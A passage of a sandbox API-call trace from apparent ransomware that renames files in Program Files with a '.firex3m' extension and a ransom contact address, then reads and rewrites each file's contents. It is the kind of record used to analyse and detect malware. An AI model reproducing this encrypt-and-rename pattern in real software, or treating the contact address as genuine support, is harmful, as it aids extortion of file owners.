shared\\ClickToRun\\ServiceWatcherSchedule.xml", len=0x54 | out: pbstr=0x65fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 1 [0109.653] GetProcessHeap () returned 0x630000 [0109.653] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5240, Size=0x30) returned 0x6ed6310 [0109.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0109.654] CloseHandle (hObject=0x6d8) returned 1 [0109.654] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0109.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0109.655] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162, dwReserved0=0x2001517, dwReserved1=0x690066, cFileName="ServiceWatcherSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SERVIC~1.FIR")) returned 0x6d4e40 [0109.655] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0109.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0109.656] GetProcessHeap () returned 0x630000 [0109.656] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1181) returned 0x67d198 [0109.656] GetProcessHeap () returned 0x630000 [0109.656] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1181) returned 0x72d3518 [0109.656] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.656] ReadFile (in: hFile=0x6d8, lpBuffer=0x67d198, nNumberOfBytesToRead=0x1160, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x67d198*, lpNumberOfBytesRead=0x65fff0c*=0x1160, lpOverlapped=0x0) returned 1 [0109.676] GetProcessHeap () returned 0x630000 [0109.676] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fed590 [0109.676] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.676] WriteFile (in: hFile=0x6d8, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0x1160, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x65fff0c*=0x1160, lpOverlapped=0x0) returned 1 [0109.677] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.677] WriteFile (in: hFile=0x6d8, lpBuffer=0x72d4677*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d4677*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0109.677] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.677] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0109.677] CloseHandle (hObject=0x6d8) returned 1 [0109.681] GetProcessHeap () returned 0x630000 [0109.681] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0109.681] GetProcessHeap () returned 0x630000 [0109.681] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67d198 | out: hHeap=0x630000) returned 1 [0109.681] GetProcessHeap () returned 0x630000 [0109.681] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fed590 | out: hHeap=0x630000) returned 1 [0109.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x751e702, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1186, dwReserved0=0x9707496, dwReserved1=0x67d190, cFileName="ServiceWatcherSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SERVIC~1.FIR")) returned 0x6d5280 [0109.681] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0109.681] Sleep (dwMilliseconds=0x1) [0109.686] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe", len=0x49 | out: pbstr=0x65fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 1 [0109.686] GetProcessHeap () returned 0x630000 [0109.686] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699888, Size=0x20) returned 0x6e8fe0 [0109.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0109.708] CloseHandle (hObject=0x6b8) returned 1 [0109.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0109.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0109.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.709] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MavInject32.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MAVINJ~1.FIR")) returned 0x6d5340 [0109.710] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0109.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0109.710] GetProcessHeap () returned 0x630000 [0109.710] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0109.711] GetProcessHeap () returned 0x630000 [0109.711] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0109.712] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.712] ReadFile (in: hFile=0x6b8, lpBuffer=0x72d3518, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesRead=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0114.412] GetProcessHeap () returned 0x630000 [0114.412] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0114.412] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.413] WriteFile (in: hFile=0x6b8, lpBuffer=0x72de948*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesWritten=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0114.414] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.414] WriteFile (in: hFile=0x6b8, lpBuffer=0x72e9d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d47*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0114.416] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.416] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0114.416] CloseHandle (hObject=0x6b8) returned 1 [0114.427] GetProcessHeap () returned 0x630000 [0114.427] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0114.427] GetProcessHeap () returned 0x630000 [0114.427] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0114.428] GetProcessHeap () returned 0x630000 [0114.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0114.428] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0114.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa26bff7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x578fc, dwReserved0=0x9707496, dwReserved1=0x72d3510, cFileName="MavInject32.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MAVINJ~1.FIR")) returned 0x6d5240 [0114.429] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0114.429] Sleep (dwMilliseconds=0x1) [0114.886] Sleep (dwMilliseconds=0x1) [0115.138] Sleep (dwMilliseconds=0x1) [0115.500] Sleep (dwMilliseconds=0x1) [0115.906] Sleep (dwMilliseconds=0x1) [0117.145] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", len=0x36 | out: pbstr=0x65fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 1 [0117.145] GetProcessHeap () returned 0x630000 [0117.145] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1340, Size=0xc) returned 0x6b1388 [0117.145] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0117.146] CloseHandle (hObject=0x6c8) returned 1 [0117.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.147] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0xd508e13c, dwReserved1=0x0, cFileName="jp2launcher.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JP2LAU~1.FIR")) returned 0x6d4e40 [0117.147] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0117.147] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0117.147] GetProcessHeap () returned 0x630000 [0117.147] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7220290 [0117.147] GetProcessHeap () returned 0x630000 [0117.147] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x714c008 [0117.148] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.148] ReadFile (in: hFile=0x6c8, lpBuffer=0x7220290, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7220290*, lpNumberOfBytesRead=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0121.318] GetProcessHeap () returned 0x630000 [0121.318] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0121.318] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.318] WriteFile (in: hFile=0x6c8, lpBuffer=0x714c008*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x714c008*, lpNumberOfBytesWritten=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0121.318] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.319] WriteFile (in: hFile=0x6c8, lpBuffer=0x7157407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7157407*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0121.319] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.319] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0121.319] CloseHandle (hObject=0x6c8) returned 1 [0122.259] GetProcessHeap () returned 0x630000 [0122.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714c008 | out: hHeap=0x630000) returned 1 [0122.259] GetProcessHeap () returned 0x630000 [0122.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7220290 | out: hHeap=0x630000) returned 1 [0122.260] GetProcessHeap () returned 0x630000 [0122.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0128.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xed17474, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b664, dwReserved0=0x9707496, dwReserved1=0x7220288, cFileName="jp2launcher.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JP2LAU~1.FIR")) returned 0x6d5340 [0128.595] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0128.596] Sleep (dwMilliseconds=0x1) [0128.608] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", len=0x44 | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 1 [0128.608] GetProcessHeap () returned 0x630000 [0128.608] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd0) returned 0x66a3e0 [0128.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0128.737] CloseHandle (hObject=0x4e0) returned 1 [0128.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.990] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8, dwReserved0=0x0, dwReserved1=0x201, cFileName="AppVDllSurrogate64.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPVDL~1.FIR")) returned 0x6d5340 [0129.193] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0129.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0129.226] GetProcessHeap () returned 0x630000 [0129.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72922f8 [0129.226] GetProcessHeap () returned 0x630000 [0129.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x729d728 [0129.227] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.227] ReadFile (in: hFile=0x648, lpBuffer=0x72922f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72922f8*, lpNumberOfBytesRead=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0137.297] GetProcessHeap () returned 0x630000 [0137.297] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0137.297] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.297] WriteFile (in: hFile=0x648, lpBuffer=0x729d728*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x729d728*, lpNumberOfBytesWritten=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0137.297] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.297] WriteFile (in: hFile=0x648, lpBuffer=0x72a8b27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a8b27*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.298] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.298] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.298] CloseHandle (hObject=0x648) returned 1 [0137.304] GetProcessHeap () returned 0x630000 [0137.304] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x729d728 | out: hHeap=0x630000) returned 1 [0137.304] GetProcessHeap () returned 0x630000 [0137.304] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72922f8 | out: hHeap=0x630000) returned 1 [0137.304] GetProcessHeap () returned 0x630000 [0137.304] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0137.304] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, 